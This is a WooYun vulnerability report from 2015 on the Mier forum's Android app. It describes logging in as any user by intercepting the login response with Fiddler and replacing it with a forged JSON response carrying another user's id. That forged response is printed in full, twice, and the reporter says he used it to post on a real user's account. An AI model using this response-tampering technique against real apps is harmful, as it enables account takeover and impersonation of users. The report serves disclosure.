当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0148331

漏洞标题：米尔网任意用户登录

相关厂商：米尔网

漏洞作者： 路人甲

提交时间：2015-10-21 14:18

修复时间：2016-01-24 14:30

公开时间：2016-01-24 14:30

漏洞类型：设计错误/逻辑缺陷

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-10-21： 细节已通知厂商并且等待厂商处理中
2015-10-26： 厂商主动忽略漏洞，细节向第三方安全合作伙伴开放（绿盟科技、唐朝安全巡航）
2015-12-20： 细节向核心白帽子及相关领域专家公开
2015-12-30： 细节向普通白帽子公开
2016-01-09： 细节向实习白帽子公开
2016-01-24： 细节向公众公开

简要描述：

详细说明：

米尔安桌app客户端
存在逻辑设计缺陷，修改服务端返回数据包，即可登录任意用户，并进行评论，回帖操作
客户端登录时，随意输入用户名和密码

31.gif


使用fiddler拦截服务器返回数据包
修改为如下数据包，用户的ui可以随意修改
在评论区随便找了个ui号进行测试

HTTP/1.1 200 OK
Server: M_cdn
Date: Wed, 21 Oct 2015 05:23:26 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Keep-Alive: timeout=2
Vary: Accept-Encoding
X-Powered-By: PHP/5.6.12
Content-Length: 531
{"error":"0","id":"968213","phone":"","userName":"\u871c\u5b9d\u59e5\u7237","nickname":"\u871c\u5b9d\u59e5\u7237","fans":"0","keepDays":"0","signIn":"false","signDate":["1443848896","1444002542"],"integral":"432","gold":"145","level":"5","is_upgrade":"0","myTask":{"reply":"1","thread":"0","share":"0","openClient":"1","NBReply":"0","yaoqing":"0","wx":"0","login_score":"0","mobile_stat":"0"},"userImg":"http:\/\/**.**.**.**\/api\/images\/pl_icon_default_head7.png","type":"0","military_time":"\u521a\u5165\u4f0d"}


登录成功，并可以发帖，发评论

12.gif


登录用户成功。。回个帖评论一下。。

15.gif


漏洞证明：

米尔安桌app客户端
存在逻辑设计缺陷，修改服务端返回数据包，即可登录任意用户，并查看该用户的登录密码
客户端登录时，随意输入用户名和密码

31.gif


使用fiddler拦截服务器返回数据包
修改为如下数据包，用户的ui可以随意修改
在评论区随便找了个ui号进行测试

HTTP/1.1 200 OK
Server: M_cdn
Date: Wed, 21 Oct 2015 05:23:26 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Keep-Alive: timeout=2
Vary: Accept-Encoding
X-Powered-By: PHP/5.6.12
Content-Length: 531
{"error":"0","id":"968213","phone":"","userName":"\u871c\u5b9d\u59e5\u7237","nickname":"\u871c\u5b9d\u59e5\u7237","fans":"0","keepDays":"0","signIn":"false","signDate":["1443848896","1444002542"],"integral":"432","gold":"145","level":"5","is_upgrade":"0","myTask":{"reply":"1","thread":"0","share":"0","openClient":"1","NBReply":"0","yaoqing":"0","wx":"0","login_score":"0","mobile_stat":"0"},"userImg":"http:\/\/**.**.**.**\/api\/images\/pl_icon_default_head7.png","type":"0","military_time":"\u521a\u5165\u4f0d"}


登录成功，并可以发帖，发评论

12.gif


登录用户成功。。回个帖评论一下。。

15.gif


修复方案：

加个密，校验一下啊。。

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2016-01-24 14:30

厂商回复：

漏洞Rank：4 (WooYun评价)

最新状态：

暂无